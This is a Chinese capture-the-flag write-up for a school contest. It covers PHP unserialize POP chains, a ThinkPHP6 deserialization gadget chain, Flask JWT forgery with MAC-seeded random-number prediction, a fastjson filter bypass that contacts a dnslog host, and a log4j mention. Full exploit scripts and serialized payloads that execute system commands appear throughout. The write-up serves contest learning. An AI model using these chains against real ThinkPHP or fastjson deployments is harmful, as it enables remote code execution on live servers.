M03C4T CTF
好哥们学校的校赛,给我放了条缝,让我有机会能打打
php-unserialize1 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php highlight_file (__FILE__ );class M03 { public $hello ; public function __wakeup ( ) { clone $this ->hello; } } class C4T { public $name ; public $class ; public $three ; public function __construct ( ) { $this ->class ="MyClass "; $this ->name ="yes "; } public function __clone () { $this ->class :: {$this ->name}($this ->three,$this ->number); } } class Strong { public $nono ; public function __construct ( ) { $this ->nono="nono" ; } public static function __callStatic ($name , $arguments ) { $arguments [0 ]->no=$arguments [1 ]; } } class est { public function __set ($name , $value ) { eval ($value ); } } $M03C4T =$_POST ['M03C4T' ];if (isset ($M03C4T )){ unserialize ($M03C4T ); }
很清楚的链子,wakeup-》clone-》callstatic-》set
$this->class::{$this->name}($this->three,$this->number); 这里卡了一下下
静态方法的调用,像java里面一样,这里之直接调用strong类里面的hello这个不存在的方法
里面是参数
payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class M03 { public $hello ; } class C4T { public $name ; public $class ; public $three ; public $nubmber ; } class Strong { public $nono ; } class est {} $a =new M03 ();$a ->hello= new C4T ();$a ->hello->class ="Strong ";$a ->hello ->name ="hello "; $a ->hello ->three =new est (); $a ->hello ->number ="system ('cat /flag ');"; $b =serialize ($a ); echo $b ;?> //O :3:"M03 ":1: {s:5 :"hello" ;O:3 :"C4T" :5 :{s:4 :"name" ;s:5 :"hello" ;s:5 :"class" ;s:6 :"Strong" ;s:5 :"three" ;O:3 :"est" :0 :{}s:7 :"nubmber" ;N;s:6 :"number" ;s:20 :"system('cat /flag');" ;}}
php-unserialize2
嗨嗨嗨,又来了啊
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php class M03 { public $name ; public $func ; public $args ; public function __destruct ( ) { return $this ->name."Welcome to attend M03C4T" ; } public function __invoke ( ) { $black_list =['system' ,'eval' ,'shell_exec' ,'passthru' ,'exec' ,'popen' ,'/' ,'flag' ]; if (in_array ($this ->func,$black_list ) || in_array ($this ->args,$black_list )){ die ('NoNoNo' ); } call_user_func ($this ->func,$this ->args); } } class C4T { public $number ; public $class ; public function __construct ( ) { $this ->number="hzu" ; } public function __toString ( ) { return $this ->class ->number ; } } class Welc0me { public $M03C4T ; public $flag ; public $love ; public function __construct ( ) { $this ->flag="weak" ; $this ->love="Welc0me" ; } public function __get ($number ) { if ($this ->flag==='strong' ){ $this ->M03C4T->together ($this ->love); } } } class y0u { public function __call ($name ,$argument ) { ($argument [0 ])(); } public function get ($End ) { system ($end ); } }
链子也很清楚
使用array(new y0u (), “get”);调用其他类里面的方法
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class M03 { public $name ; public $func ; public $args ;} class C4T { public $number ; public $class ; } class Welc0me { public $M03C4T ; public $flag ; public $love ; } class y0u {} $a =new M03 ();$a ->name=new C4T ();$a ->name->class =NEW Welc0me ();$a ->name ->class ->flag ="strong "; $a ->name ->class ->love =new M03 (); $a ->name ->class ->M03C4T =new y0u (); $a ->name ->class ->love ->func =array (new y0u (), "get "); $a ->name ->class ->love ->args ="cat /flag "; echo urlencode (serialize ($a ));?>
thinkphp6 访问www.zip获取源码
然后看到在app/controller 路由下面存在一个反序列化方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php namespace app \controller ;use app \BaseController ;class Index extends BaseController { public function index ( ) { return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App ::version () . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>' ; } public function hello ($name = 'ThinkPHP6' ) { return 'hello,' . $name ; } public function God ( ) { unserialize ($_POST ['M03C4T' ]); } }
这里找一个网上的payload直接打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php namespace think { // Model 需要是抽象类 abstract class Model { // 需要用到的关键字 private $lazySave = false ; private $data = []; private $exists = false ; protected $table ; private $withAttr = []; protected $json = []; protected $jsonAssoc = false ; public function __construct ($obj ='' ) { $this ->lazySave = true ; $this ->data = ['whoami' =>['cat /flag' ]]; $this ->exists = true ; $this ->table = $obj ; $this ->withAttr = ['whoami' =>['system' ]]; $this ->json = ['whoami' ]; $this ->jsonAssoc = true ; } } } namespace think \model { use think \Model ; class Pivot extends Model { } $p = new Pivot (new Pivot ()); echo urlencode (serialize ($p )); }
seed filename的地方读取源码
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 import osimport randomimport uuidimport jwtfrom flask import Flask, request, render_template_string, render_template, make_response, redirect, url_forapp = Flask(__name__) app.static_folder = 'static' random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = os.urandom(10 ) def check (): access_token = request.cookies.get('access_token' ) if not access_token: return redirect(url_for("/" )) try : decoded_token = jwt.decode( access_token, app.config['SECRET_KEY' ], algorithms=["HS256" ], options={"verify_signature" : False }) isadmin = decoded_token['isadmin' ] except : return render_template('login.html' ) if not isadmin: return render_template('403.html' ) return True @app.route("/" , methods=['POST' , 'GET' ] ) def index (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] if username == 'admin' : return render_template("403.html" ) access_token = jwt.encode( {'username' : username, 'password' : password, 'isadmin' : False }, app.config['SECRET_KEY' ], algorithm="HS256" ) res = make_response(redirect(url_for('guess' ))) res.set_cookie('access_token' , access_token) return res, 200 else : return render_template('login.html' ) @app.route("/read" ) def viewFile (): if check(): filename = request.args.get('filename' ) if "flag" in filename: return "You can not get flag by this way" try : with open (filename, 'r' ) as f: templates = '''{} ''' .format (f.read()) return render_template_string(templates) except Exception as e: templates = '''''' return render_template_string(templates) @app.route("/guess" ) def guess (): access_token = request.cookies.get('access_token' ) if not access_token: return render_template("403.html" ) password = random.randint(1111111 , 9999999 ) return render_template('index.html' , password=password) @app.route("/auth" , methods=['POST' ] ) def auth (): global flag access_token = request.cookies.get('access_token' ) if not access_token: return redirect(url_for("/" )) try : decoded_token = jwt.decode( access_token, app.config['SECRET_KEY' ], algorithms=["HS256" ], options={"verify_signature" : False }) isadmin = decoded_token['isadmin' ] except : return render_template('login.html' ) if not isadmin: return render_template('403.html' ) password = request.form['password' ] if int (password) == random.randint(1111111 , 9999999 ): flag = os.popen('cat /flag' ).read() templates = '''{} ''' .format (flag) return render_template_string(templates) @app.errorhandler(404 ) def error_date (error ): return render_template("404.html" ) if __name__ == '__main__' : print (uuid.getnode()) app.run(port=80 , host='0.0.0.0' , debug=False )
先jwt伪造成admin,空密钥
然后需要猜数字,对了给flag
可以读取到网卡
1 2 3 4 5 6 7 8 9 import randomimport osrandom.seed(0x0242ac110007 ) password = random.randint(1111111 , 9999999 ) print (os.urandom(10 ))for i in range (10 ): print (password) password = random.randint(1111111 , 9999999 )
伪随机,直接出
fastjson的小猫 简单的fastjson反序列化
网上找一个payload,但是这里过滤了type
1 {zeo":{"\u0040\u0074\u0079\u0070\u0065":"java.net.Inet4Address","val":"ujez1f.dnslog.cn"}}
直接16进制或者unicode绕过就好了
log4j 猜测登录框处存在log4j漏洞,网上找一个payload打了